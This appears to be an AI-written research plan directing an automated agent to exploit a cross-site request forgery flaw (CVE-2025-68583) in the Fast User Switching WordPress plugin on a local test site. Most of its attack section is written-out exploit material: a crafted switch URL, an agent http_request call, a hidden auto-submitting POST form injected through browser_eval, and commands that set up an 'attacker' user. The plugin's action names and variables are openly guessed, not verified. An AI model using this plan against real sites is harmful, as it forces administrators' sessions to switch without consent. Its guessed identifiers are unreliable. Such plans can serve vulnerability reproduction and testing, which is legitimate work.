Fast User Switching <= 1.4.10 - Cross-Site Request Forgery

This research plan outlines the technical steps to analyze and exploit the Cross-Site Request Forgery (CSRF) vulnerability in the Fast User Switching plugin (version <= 1.4.10).

Since source files were not provided, all identifiers and code paths are inferred based on standard WordPress plugin patterns and the plugin's functional purpose. These must be verified by the agent during the initial discovery phase.

---

1. Vulnerability Summary

The Fast User Switching plugin allows administrators to quickly switch between user accounts. The vulnerability (CVE-2025-68583) resides in the lack of (or improper) nonce validation during the account switching action. An unauthenticated attacker can craft a malicious link or form that, when clicked by a logged-in Administrator, triggers an unauthorized user switch.

2. Attack Vector Analysis

• Vulnerable Endpoint: Likely wp-admin/ (via admin_init or init hooks) or wp-admin/admin-ajax.php.
• Vulnerable Action: A query parameter or POST body variable that triggers the switch (e.g., fus_action, switch_to_user, or fast_user_switch).
• Required Parameter: A user_id or user_login specifying the account to switch to.
• Authentication Level: Requires a victim with the capability to switch users (typically administrator).
• Preconditions: The attacker must know the ID of a target user (e.g., a secondary admin or a specifically created "attacker" account).

3. Code Flow (Inferred)

1. Entry Point: The plugin likely registers a hook in the main plugin file (e.g., fast-user-switching.php) using add_action('admin_init', ...) or add_action('wp_ajax_...', ...).
2. Request Capture: The handler function checks for the presence of a specific $_GET or $_POST parameter (e.g., fast_user_switch).
3. Authorization Check: The plugin checks if the current user has the authority to switch (e.g., current_user_can('manage_options')). This check passes if the victim is an Administrator.
4. Vulnerable Point: The code fails to call check_admin_referer() or wp_verify_nonce(), or it calls it incorrectly.
5. Sink: The plugin uses wp_set_auth_cookie() or a similar mechanism to change the active session to the target user_id.

4. Nonce Acquisition Strategy

The vulnerability is defined by "missing or incorrect nonce validation."

• If the check is missing: No nonce is required. The exploit request simply omits the nonce parameter.
• If the check is incorrect (Action Mismatch):
  1. Use grep -r "wp_create_nonce" . to find how the plugin generates nonces for its UI.
  2. Use grep -r "wp_verify_nonce" . to find how the handler validates them.
  3. If the action strings differ (e.g., created with 'fus_switch' but verified with 'switch-user'), use browser_eval to extract the "wrong" nonce from the admin dashboard.
• Extraction Method:
  1. Navigate to the Users page: browser_navigate("/wp-admin/users.php").
  2. Identify the JS variable used to store the nonce (look for wp_localize_script in the source).
  3. Execute: browser_eval("window.fus_data?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to force an Admin to switch to another user account via CSRF.

Step 1: Discovery (Manual Investigation)
The agent should first identify the exact action name:

grep -rn "add_action" . | grep -E "admin_init|wp_ajax"
grep -rn "_GET\|_POST\|_REQUEST" . | grep -i "switch"

Step 2: Craft the Payload
Assuming the vulnerable parameter is fast_user_switch and the endpoint is admin_url():

• Type: GET Request (easiest to trigger via <img> or <a>).
• URL: http://vulnerable-wp.local/wp-admin/?fast_user_switch=1&user_id=[TARGET_ID]

Step 3: Execute via http_request
The agent will simulate the Admin's browser making the request while authenticated.

// Example Playwright-based request within the agent's toolset
await http_request({
  url: "http://localhost:8080/wp-admin/?fast_user_switch=1&user_id=2",
  method: "GET"
});

6. Test Data Setup

1. Attacker User: Create a subscriber-level user to switch into.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

2. Target ID: Note the ID of the attacker user (likely 2 on a fresh install).

   wp user list --field=ID --user_login=attacker
   

3. Active Plugin: Ensure the plugin is active.

   wp plugin activate fast-user-switching
   

7. Expected Results

• The HTTP request should return a 302 Redirect or a 200 OK.
• The response cookies (specifically wordpress_logged_in_[hash]) should be updated to reflect the session of the target_id.
• If the plugin redirects to the dashboard, the dashboard content should reflect the permissions of the new user (e.g., missing "Plugins" menu).

8. Verification Steps

After sending the CSRF request, verify the switch occurred:

1. Check Current User via CLI:
   This is tricky as CLI context is separate. Instead, use the http_request tool to fetch wp-admin/index.php and check for the "Howdy, [Username]" text.
2. Check Meta: If the plugin logs the switch in user meta:

   wp user meta list [ADMIN_ID]
   

9. Alternative Approaches

• POST-based CSRF: If the plugin only accepts POST, use the browser_eval tool to create and submit a hidden form:

  browser_eval(`
    var f = document.createElement('form');
    f.action = '/wp-admin/admin-ajax.php';
    f.method = 'POST';
    var i = document.createElement('input');
    i.name = 'action'; i.value = 'fast_user_switch_action';
    f.appendChild(i);
    document.body.appendChild(f);
    f.submit();
  `);
  

• AJAX Endpoint: If the switch is handled via wp_ajax_, target admin-ajax.php with the appropriate action and user_id parameters.